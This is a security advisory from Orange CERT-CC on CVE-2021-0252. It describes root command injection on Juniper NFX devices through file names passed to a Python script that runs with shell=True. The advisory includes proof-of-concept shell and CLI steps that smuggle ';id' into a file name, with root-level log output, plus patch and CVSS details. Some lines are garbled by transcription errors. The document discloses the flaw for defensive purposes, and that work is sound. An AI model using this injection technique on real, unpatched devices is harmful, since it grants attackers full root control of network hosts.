# Junos OS: NFX Series: Local Code Execution Vulnerability in JDMD Leads to Privilege Escalation (CVE-2021-0252)

High orange-cert-cc published GHSA-gr7j-26pv-5v57 on Nov 24, 2021

Package

Junos OS (Juniper)

19.2R1.8

None

19.1R2

Description

# Overview

On Juniper NFX product, a command injection is possible from the CLI on the python script file\_type\_checker.py, resulting on execution with full privileges on the host. The vulnerability may

#### Details

A NFX device has a function to detect the type of files provided by the users. For instance, this function is called when instantiating a NFV (type of the image: qcow2...), or when a storage is attached to it (iso, raw...). To achieve this, the process jdmd calls the python script file\_type\_checker.py via popen(), and then the python script itself calls qemu-img via

We already know that the popen() calls from jdmd are vulnerable to command injection (see SIR-2019-263), but even if fixed, the same vulnerability can be triggered on the python level. The script calls the function subprocess.check\_output() with the parameter shell=True, which is a security hazard especially when the command is build from untrusted input without any sanitization. Furthermore, as the python script runs with root privileges, any injection gives full privileges on the host.

#### Proof of Concept

We need to create two files, because jdmd and the python script check the existence of the file given as parameters. Furthermore, we need to escape the file names used by jdmd to avoid the command injection in this daemon. The content of the files does not matter, they may even be empty. To create the files, we can use the "start shell" command of the cli, that opens a shell command line with access to folders shared between the junos hosting the cli and the host itself.

For instance, when instantiating a VM:

```
> start shell
```

# touch '/var/public/;id' '/var/public/\;id

> configure

set virtual-network-functions my\_nfv image "/var/public/\;id"

The logs of file\_type\_checker show the command injection:

```
2019-07-26T06:48:32.244309+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: qemu-img info /var/public/jid 2>&1
2019-07-26T06:48:32.259465+00:00 local-node mgd: UT_COMMIT_PROGRESS: Commit operation in progress: Collecting status of Juniper Device Manager service process 2019-07-26T06:48:32.266576+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
2019-07-26T06:48:32.266882+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: jhost blkid -p -o export /var/public/;id 2>81 2019-07-26T06:48:32.415320+00:00 local-node jhost.py: About to execute command: blkid -p -o export /var/public/
2019-07-26T06:48:32.425391+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(field),31(guest),73(config)
```

The same vulnerability can be triggered by adding a storage to a VNF:

> start shell
# touch '/var/public/;id' '/var/public/\;id'

# exit

# set virtual-network-functions mv nfv storage sdb type cdrom source file "/var/public/\:id"

Again, the logs:

```
2019-07-26T06:50:49.449100+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: qemu-img info /var/public/jid 2>81 2019-07-26T06:50:49.473100+00:00 local-node mgd: UI_COMMIT_PROGRESS: Commit operation in progress: Collecting status of Juniper Device Manager st 2019-07-26T06:50:49.481824+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=@(wheel),5(operator),10(field),31(guest),73(config)
2019-07-26T06:50:49.482304+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: jhost blkid -p -o export /var/public/;id 2>&1
2019-07-26T06:50:49.594327+00:00 local-node jhost.py: About to execute command: blkid -p -o export /var/public/
2019-07-26T06:50:49.599268+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
```

Interestingly, even if the configuration commit fails, the faulty storage image seems to remain in the configuration, and the command injection can be triggered again from the cli:

application: invalid-value

low: failed to fetch the data with exception Command 'qemu-img info /var/public/;id | grep 'file format'' returned non-zero exit status 1

# Security patch

The following software releases have been updated to resolve this specific issue: Junos OS: 18.2R3-S5, 18.3R2-S4, 18.3R3-S3, 18.4R2-S5, 18.4R3-S4, 19.1R1-S3, 19.1R2, 19.2R1-S5, 19.2R2,

#### Workaround

There are no workarounds that address this vulnerability.

### References

 $https://kb.juniper.net/InfoCenter/index?page=content\&id=JSA11145\\ https://nvd.nist.gov/vuln/detail/CVE-2021-0252$ 

# Credits

Orange CERT-CC Loïc RESTOUX at Orange group

# Timeline

Date reported: July 30, 2019 Date fixed: April 14, 2021

### Severity



CVSS base metrics Attack vector Local Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality High Integrity High Availability High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

#### CVE ID

CVE-2021-0252

# Weaknesses

CWE-77